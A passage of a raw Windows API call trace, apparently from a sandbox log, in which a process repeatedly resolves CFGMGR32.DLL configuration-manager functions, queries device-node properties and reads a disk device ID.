malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.374] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.377] malloc (_Size=0x18) returned 0x20abc281e80 [0213.378] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.378] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3af33ad0, dwHighDateTime=0x1d9eb0c)) [0213.378] SetEvent (hEvent=0x248) returned 1 [0213.384] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.384] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.387] malloc (_Size=0x18) returned 0x20abc281f60 [0213.388] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.390] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3af5ad9a, dwHighDateTime=0x1d9eb0c)) [0213.390] SetEvent (hEvent=0x248) returned 1 [0213.395] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.395] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.398] malloc (_Size=0x18) returned 0x20abc282080 [0213.398] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x7, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0213.399] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3af5ad9a, dwHighDateTime=0x1d9eb0c)) [0213.399] SetEvent (hEvent=0x248) returned 1 [0213.404] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.404] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.404] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.582] malloc (_Size=0x18) returned 0x20abc2820a0 [0213.583] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x7, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0213.583] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3b111622, dwHighDateTime=0x1d9eb0c)) [0213.583] SetEvent (hEvent=0x248) returned 1 [0213.590] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.594] malloc (_Size=0x18) returned 0x20abc2819a0 [0213.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0213.594] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b137a64, dwHighDateTime=0x1d9eb0c)) [0213.595] SetEvent (hEvent=0x248) returned 1 [0213.600] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.600] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.609] malloc (_Size=0x18) returned 0x20abc281de0 [0213.609] CM_Get_Device_IDA (in: dnDevInst=0x1, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SCSI\\DISK&VEN_&PROD_ST3160215AS\\4&305DAB9F&0&000000") returned 0x0 [0213.609] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3b15e07d, dwHighDateTime=0x1d9eb0c)) [0213.609] SetEvent (hEvent=0x248) returned 1 [0213.614] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.614] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.619] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.621] malloc (_Size=0x18) returned 0x20abc281f00 [0213.621] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0213.622] malloc (_Size=0x138) returned 0x20abc286890 [0213.622] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0213.623] free (_Block=0x20abc286890) [0213.623] malloc (_Size=0x48) returned 0x20abc2a8730 [0213.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3b18402b, dwHighDateTime=0x1d9eb0c)) [0213.623] SetEvent (hEvent=0x248) returned 1 [0213.626] malloc (_Size=0x18) returned 0x20abc281de0 [0213.626] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0213.626] free (_Block=0x20abc281de0) [0213.626] malloc (_Size=0x18) returned 0x20abc281a80 [0213.626] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0213.626] free (_Block=0x20abc281a80) [0213.627] malloc (_Size=0x18) returned 0x20abc281f80 [0213.627] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.627] free (_Block=0x20abc281f80) [0213.627] malloc (_Size=0x18) returned 0x20abc281fc0 [0213.627] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0213.627] free (_Block=0x20abc281fc0) [0213.627] malloc (_Size=0x18) returned 0x20abc281cc0 [0213.627] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.627] free (_Block=0x20abc281cc0) [0213.627] malloc (_Size=0x18) returned 0x20abc281d60 [0213.627] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0213.627] free (_Block=0x20abc281d60) [0213.628] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0213.628] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0213.628] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0213.628] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0213.628] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0213.628] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0213.628] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0213.628] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0213.628] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0213.629] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.629] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe08, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.629] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe10, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.629] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe18, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.629] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe20, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.630] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fe28, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.630] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0213.631] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0213.631] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.631] LoadLibraryExW 